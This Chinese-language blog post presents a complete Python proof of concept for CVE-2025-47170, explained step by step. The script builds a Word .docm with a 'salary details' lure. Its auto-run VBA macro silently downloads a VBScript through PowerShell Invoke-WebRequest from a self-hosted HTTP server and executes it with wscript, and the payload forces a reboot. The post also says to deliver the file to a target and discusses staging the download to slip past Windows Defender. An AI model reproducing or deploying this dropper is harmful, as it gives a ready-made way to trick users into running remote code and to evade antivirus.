VBA宏绕过Windows Defender漏洞利用技术解析

本文详细解析了一个针对CVE-2025-47170漏洞的PoC脚本。该脚本利用Python自动化生成包含恶意VBA宏的Word文档(.docm),通过HTTP服务器下载并执行VBScript负载,旨在强制重启受害者计算机并探讨其绕过Windows Defender检测的技术细节。

VBA Bypass Windows Defender Exploit PoC

2025.07.02 nu11secur1ty (BG)

风险:本地:远程:CVE: CVE-2025-47170 CWE: N/A

CVE-2025-47170 Exploit PoC VBA Bypass Windows Defender

概述

此Python脚本是一个概念验证(PoC)漏洞利用程序,用于演示Microsoft Word远程代码执行漏洞CVE-2025-47170。

它自动化创建了一个恶意的Microsoft Word .docm文件,其中嵌入了VBA宏,用于从HTTP服务器下载并执行一个VBScript负载。该VBScript负载会强制重启受害者计算机。

脚本分解与说明

1. 导入与依赖项

1
2
3
4
5
6
7
8
import os
import sys
import socket
import http.server
import socketserver
import threading
import pythoncom
import win32com.client as win32

pythoncomwin32com.client(来自pywin32)用于通过COM自动化Microsoft Word。 http.serversocketserver用于创建HTTP服务器来托管负载文件。 socket用于获取本地IP地址。 标准库如ossysthreading用于文件管理、参数处理和并发。

2. 获取本地IP地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def get_local_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.connect(("8.8.8.8", 80))
        ip = s.getsockname()[0]
    except Exception:
        ip = "127.0.0.1"
    finally:
        s.close()
    return ip

创建一个UDP套接字,通过"连接"到一个公共DNS IP(Google的8.8.8.8)来获取机器的本地IP地址。 此IP用于构建服务负载的URL。

3. 创建VBScript负载

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
def create_vbs_payload(folder):
    vbs_path = os.path.join(folder, "salaries.vbs")
    vbs_content = '''
Set objShell = CreateObject("WScript.Shell")
objShell.Run "shutdown /r /t 5 /f", 0, False
'''
    with open(vbs_path, "w") as f:
        f.write(vbs_content.strip())
    print(f"[*] Created VBS payload at: {vbs_path}")
    return "salaries.vbs"

将VBScript文件salaries.vbs写入指定文件夹。 该脚本静默运行Windows关机命令,在5秒后重启系统。 此VBScript是由宏执行的负载。

4. 创建带有嵌入式宏的恶意Word文档(salaries.docm)

1
2
3
4
5
6
def create_docm_with_macro(folder, payload_url):
    docm_path = os.path.join(folder, "salaries.docm")
    pythoncom.CoInitialize()
    word = win32.gencache.EnsureDispatch('Word.Application')
    word.Visible = False
    doc = word.Documents.Add()

初始化COM并隐式启动Word。 创建一个新的Word文档。

1
doc.Content.Text = "Please enable macros to see the salary details."

添加一些无害的文本,诱使用户启用宏。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    macro_code = f'''
Sub AutoOpen()
    Call RunPayload
End Sub

Sub Document_Open()
    Call RunPayload
End Sub

Sub RunPayload()
    On Error Resume Next

    Dim fullUrl As String
    Dim payloadName As String
    Dim fullPath As String
    Dim shellCmd As String
    Dim RetVal As Long

    fullUrl = "http://" & "{payload_url}" & "/salaries.vbs"
    payloadName = "salaries.vbs"
    fullPath = Environ("TEMP") & "\\" & payloadName

    shellCmd = "powershell -Command ""Invoke-WebRequest -Uri '" & fullUrl & "' -OutFile '" & fullPath & "' -UseBasicParsing"""

    RetVal = Shell(shellCmd, vbHide)
    RetVal = Shell("wscript.exe " & fullPath, vbHide)
End Sub
'''

VBA宏代码,在文档打开时自动执行(AutoOpen, Document_Open)。

它: 构建用于下载salaries.vbs的URL。 通过PowerShell的Invoke-WebRequest将VBScript负载下载到TEMP目录。 使用wscript.exe静默执行VBScript。 包含On Error Resume Next以避免因错误而停止。

1
2
3
    vb_proj = doc.VBProject
    vb_module = vb_proj.VBComponents.Add(1)  # 1 = vbext_ct_StdModule
    vb_module.CodeModule.AddFromString(macro_code.strip())

将VBA宏注入Word文档的VBA项目中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    wdFormatXMLDocumentMacroEnabled = 13
    try:
        doc.SaveAs(docm_path, FileFormat=wdFormatXMLDocumentMacroEnabled)
        print(f"[*] Created malicious DOCM file: {docm_path}")
    except Exception as e:
        print(f"[!] Failed to save DOCM file: {e}")
    finally:
        doc.Close(False)
        word.Quit()
        pythoncom.CoUninitialize()

将文档保存为.docm文件(启用宏)。 正确关闭Word并清理COM初始化。

5. 启动HTTP服务器以托管负载和文档

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def start_http_server(folder, port):
    os.chdir(folder)
    handler = http.server.SimpleHTTPRequestHandler
    httpd = socketserver.TCPServer(("", port), handler)

    local_ip = get_local_ip()
    print(f"[*] Serving HTTP at port {port} from folder: {folder}")
    print(f"[*] Payload URL: http://{local_ip}:{port}/salaries.vbs")
    print(f"[*] DOCM URL: http://{local_ip}:{port}/salaries.docm")
    print("[*] Press Ctrl+C to stop the HTTP server and exit.")

    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("\n[*] Stopping HTTP server...")
    httpd.server_close()

更改目录以服务当前文件夹。 在指定端口启动一个简单的HTTP服务器。 输出用于访问负载和文档的URL。 运行直到被中断。

6. 主函数:工作流控制

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
def main():
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <port>")
        sys.exit(1)

    port = int(sys.argv[1])
    folder = os.getcwd()

    # Create payload.vbs if missing
    vbs_path = os.path.join(folder, "salaries.vbs")
    if not os.path.isfile(vbs_path):
        create_vbs_payload(folder)
    else:
        print(f"[+] Using existing payload: {vbs_path}")

    local_ip = get_local_ip()
    payload_url = f"{local_ip}:{port}"

    create_docm_with_macro(folder, payload_url)

    start_http_server(folder, port)

验证命令行参数(端口)。 使用当前目录作为工作文件夹。 如果不存在VBScript负载,则创建它。 生成指向本地HTTP服务器的恶意Word文档。 启动HTTP服务器以提供文件。

使用方法

使用端口号参数运行脚本:

1
python CVE-2025-47170.py 8000

该脚本将在当前目录中生成salaries.vbssalaries.docm

它将在端口8000上启动一个HTTP服务器来提供这些文件。 将salaries.docm交付给目标用户。当他们打开文档并启用宏时:

宏从http://<您的IP>:8000/salaries.vbs下载salaries.vbs。 运行VBScript,强制系统重启。

Windows Defender绕过讨论

VBScript负载并非嵌入在Word文档内部,而是动态下载的。

宏使用PowerShell的Invoke-WebRequest来获取负载,而不是使用可疑命令如bitsadmin。 宏使用对用户交互隐藏的基本VBA shell命令(vbHide)。 这种将多个小步骤链接起来的方式使得基于签名的防病毒软件更难一次性检测到完整的攻击。

注意:这是一个简单的演示,具有云启发式或行为检测功能的现代Windows Defender版本可能仍会阻止此攻击。

警告与法律声明

仅供教育目的和授权的安全测试使用。

执行VBScript负载将在无警告的情况下重启您的系统。 在任何机器上测试之前,请确保您已获得许可。 仅在受控环境中使用。

nu11secur1ty

演示 下载PoC:

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计